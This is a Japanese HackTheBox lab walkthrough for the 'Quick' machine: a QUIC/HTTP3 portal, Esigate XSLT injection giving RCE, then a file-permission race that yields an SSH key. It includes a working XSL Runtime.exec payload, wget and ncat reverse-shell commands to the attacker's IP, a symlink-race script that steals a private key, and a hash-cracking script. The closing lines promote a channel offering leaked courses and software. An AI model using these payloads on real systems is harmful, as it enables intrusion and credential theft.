HackTheBox。ウォークスルークイック。QUIC HTTP / 3、XSLTインジェクション、レースコンディション



私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています



この記事では、QUIC HTTP / 3接続を扱い、XSLTインジェクションのおかげでRCEを取得し、RaceConditionテクニックを使用してユーザーの秘密鍵を取得します。



ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。



組織情報
, , Telegram . , , .



. , - , .



偵察



このマシンのIPアドレスは10.10.10.186で、これを/ etc / hostsに追加します。



10.10.10.186 	quick.htb


最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500






ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。



nmap -A quick.htb -p9001,22






つまり、SSHとApacheWebサーバーの2つのサービスがあります。ウェブが提供するものを見てみましょう。







HTTPSを実行しているポータルへのリンクがありますが、ポートは閉じています。このDNSを/ etc / hostsに追加します。



10.10.10.186 portal.quick.htb



しかし、ポート443は閉じています!また、サイトには興味深いリストがあります。







gobusterでディレクトリをスキャンしてみましょう。パラメータでは、ストリームの数128(-t)、URL(-u)、辞書(-w)、関心のある拡張子(-x)、および必要なサーバー応答コード(-s)を指定します。



gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401






そして、興味深いページが見つかりましたが、すべて承認が必要です。このサイトを少し回った後、質問が発生しました。サーバーの対応するポートが閉じているのに、ポータルへのリンクが必要なのはなぜですか。次に、このポートをもう一度徹底的にスキャンします。



nmap -p443 -A quick.htb






sudo nmap -p443 -A -sU quick.htb






そして、このポートはUDP用に開いています!



エントリーポイント



グーグルで、QUICテクノロジー(車の名前に似ています)を説明する記事を見つけまし







さらに、このプロトコルについて読むと、このプロトコルを操作する機能がChromeに追加されていることわかります







ただし、指定した方法で接続することはできません。次に、接続がフィルタリングされていることを思い出して、この記事に進んでください







記事の説明に従ってインストールしましょう:



sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples






すべてが正常に組み立てられました。次に、サイトへのリクエストを実行して回答を取得します。



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/






便宜上、出力をHTMLファイルに保存して、ブラウザーでドキュメントを開くことができますが、私はすでにそれに慣れています。ドキュメントのあるページへのリンクが表示されているので、それを参照しましょう。



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs






そして、2つのドキュメントが表示されます。それらをダウンロードしてください。



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf


また、Connectivity.pdfには、ログインできるパスワードが記載されていますが、ユーザー名として何らかの電子メールを使用する必要があるだけです。







情報を集めましょう...クライアントのリストはすでに提示されていますが、従業員も見つけることができます。







メールのリストを作成しましょう。したがって、ティムは英国のQConsultingに言及しているので、彼の電子メールはtim@qconsulting.co.ukである可能性が高いです。すべての名前に1つ作成しましょう。そして、それらの下でログインしようとした後、elisa @ wink.co.ukとして正常にアクセスします。







ユーザー



少し見てみると、wappalyzerプラグインが機能していないことに気づきました。whatwebで使用されるテクノロジーを見てみましょう。



whatweb http://quick.htb:9001/home.php






そして、X-Powered-By:Esigateというタイトルが表示されます。エクスプロイトを探しましょう。







したがって、XSLTインジェクションはRCEで発生する可能性があります。gobusterから、search.phpとticket.phpのページもあることを学びました。あなたが検索に目を向けると。次に、検索文字列がないことが通知されます。







次に、パラメータ検索を渡します。







そして、「2」を検索すると結果が出ます。







ただし、ticket.phpページでは、チケットを作成できます。











そして、見つけることができる対応するエントリを取得します。脆弱性の悪用はここによく示されています記事によると、RCEを取得するには、次の内容のXSLファイルへのリンクを送信する必要があります。



<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>


CDATA []には、実行中のコマンドが含まれます。これらのファイルのインクルードをメッセージとして送信する必要があります。



<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>


次に、ローカルマシンでリスナーを起動します。



nc -lvp 4321


そして今、チケットを作成して参照します。「>」と「<」の文字はエスケープされるので、3つのクエリを実行します。ncatをダウンロードし、実行権限を付与してバックコネクトします。以下は、3つのファイルのCDATA []値です。



1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh


そして、6つのリクエストを実行します(1つ目はメッセージの内容、2つ目はチケットのリクエストです)。



<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>






そして、接続が表示されます。











ユーザー2



便宜上、SSHキーを作成して記録します。











これで、秘密鍵を使用して接続できます。サイトにあるdb.phpファイルを思い出してください。このファイルには、データベースに接続するための資格情報が含まれている必要があります。それをチェックしよう。







受け取った資格情報に接続しましょう。



mysql -h localhost -u db_adm -p


利用可能なデータベースを見てみましょう。







クイックデータベースを選択します。







このデータベースのテーブルを見てみましょう。







最後に、usersテーブルからデータを取得します。







ハッシュを取得しますが、md5をソートすることはできません。ハッシュが比較されるコードを見てみましょう。











したがって、パスワードは最初にcrypt関数に入ります。パスワードを繰り返す独自のコードを書いてみましょう。



<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
	$str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>






そして、パスワードを取得します。パスワードをローカルで変更することは不可能であり、SSHでも機能しないため、残りのソースコードを確認しましょう。 add_printer.phpからわかるように、IPアドレスやポートなど、いくつかのパラメーターが受け入れられます。次に、接続をテストするために接続が確立されます。







job.phpファイルははるかに興味深いものです。







ただし、サーバーが利用できないため、サーバーにログインすることはできません。 Webサーバーの設定を見てみましょう。このようにして、ファイルが作成され、プリンターの作成時に指定されたホストとポートに転送されます。ただし、スリープ(0.5)遅延と、作成されたファイルのアクセス許可が777であるという事実のおかげで、このディレクトリに対するすべての権限を持っている間、送信する前にファイルを変更できます。







したがって、このファイルをユーザーの秘密鍵にリンクするスクリプトを作成できます。



cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done


Webサーバーの設定を見てみましょう。







したがって、このサイトはsrvadmに代わって実行され、localhostを介してのみアクセスできます。ポートを転送して、適切なエントリを/ etc / hostsに追加しましょう。



127.0.0.1 printerv2.quick.htb



sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb


それでは、サイトに行きましょう。







そして、プリンターの追加に移りましょう。







プリンターを追加したら、アクティブ化する必要があります。







次に、スクリプトを実行して、印刷を選択しましょう。







そして、リスナーへの接続とユーザーのSSHキーが表示されます。











ルート



そして、ホームディレクトリに.cacheディレクトリがあります。







そして、プリンターの構成ファイルを見つけます。







そして、設定で、プリンタへの接続文字列を見つけます。



https://username:password@ip/printer







そこから、SSH経由で接続するために使用できるパスワードを取得します。Telegramに







参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々が集まるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles